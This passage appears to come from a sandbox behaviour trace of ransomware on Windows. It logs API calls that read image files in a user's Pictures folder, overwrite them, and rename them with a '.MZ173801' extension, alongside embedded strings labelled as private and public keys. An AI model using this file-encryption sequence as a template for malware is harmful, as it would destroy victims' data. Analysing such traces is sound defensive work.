"c:\\users\\fd1hvy\\pictures\\mmiyf.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e71480, ftCreationTime.dwHighDateTime=0x1d5e941, ftLastAccessTime.dwLowDateTime=0xaf6ad070, ftLastAccessTime.dwHighDateTime=0x1d5e42a, ftLastWriteTime.dwLowDateTime=0xaf6ad070, ftLastWriteTime.dwHighDateTime=0x1d5e42a, nFileSizeHigh=0x0, nFileSizeLow=0x8a94)) returned 1 [0153.324] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MmiYF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mmiyf.bmp")) returned 0x20 [0153.324] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MmiYF.bmp", dwFileAttributes=0x80) returned 1 [0153.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.329] GetCurrentThreadId () returned 0xab4 [0153.329] GetCurrentThreadId () returned 0xab4 [0153.329] GetCurrentThreadId () returned 0xab4 [0153.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.330] GetCurrentThreadId () returned 0xab4 [0153.330] GetCurrentThreadId () returned 0xab4 [0153.330] GetCurrentThreadId () returned 0xab4 [0153.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MmiYF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mmiyf.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.330] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.330] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.330] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x8a94 [0153.330] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.330] ReadFile (in: hFile=0x294, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x8a94, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0x8a94, lpOverlapped=0x0) returned 1 [0153.331] CloseHandle (hObject=0x294) returned 1 [0153.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MmiYF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mmiyf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.334] WriteFile (in: hFile=0x294, lpBuffer=0x24edd50*, nNumberOfBytesToWrite=0x8a94, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24edd50*, lpNumberOfBytesWritten=0x19fa24*=0x8a94, lpOverlapped=0x0) returned 1 [0153.335] CloseHandle (hObject=0x294) returned 1 [0153.337] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\MmiYF.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mmiyf.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\MmiYF.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\mmiyf.bmp.mz173801")) returned 1 [0153.338] GetCurrentThreadId () returned 0xab4 [0153.338] GetCurrentThreadId () returned 0xab4 [0153.338] GetCurrentThreadId () returned 0xab4 [0153.338] GetCurrentThreadId () returned 0xab4 [0153.338] GetCurrentThreadId () returned 0xab4 [0153.338] GetCurrentThreadId () returned 0xab4 [0153.338] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2354a460, ftCreationTime.dwHighDateTime=0x1d5e8d7, ftLastAccessTime.dwLowDateTime=0xef0948d0, ftLastAccessTime.dwHighDateTime=0x1d5e892, ftLastWriteTime.dwLowDateTime=0xef0948d0, ftLastWriteTime.dwHighDateTime=0x1d5e892, nFileSizeHigh=0x0, nFileSizeLow=0x10b9b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nuPKgeB MAKEYlr.jpg", cAlternateFileName="NUPKGE~1.JPG")) returned 1 [0153.338] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.338] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\nuPKgeB MAKEYlr.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nupkgeb makeylr.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2354a460, ftCreationTime.dwHighDateTime=0x1d5e8d7, ftLastAccessTime.dwLowDateTime=0xef0948d0, ftLastAccessTime.dwHighDateTime=0x1d5e892, ftLastWriteTime.dwLowDateTime=0xef0948d0, ftLastWriteTime.dwHighDateTime=0x1d5e892, nFileSizeHigh=0x0, nFileSizeLow=0x10b9b)) returned 1 [0153.338] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nuPKgeB MAKEYlr.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nupkgeb makeylr.jpg")) returned 0x20 [0153.338] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nuPKgeB MAKEYlr.jpg", dwFileAttributes=0x80) returned 1 [0153.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 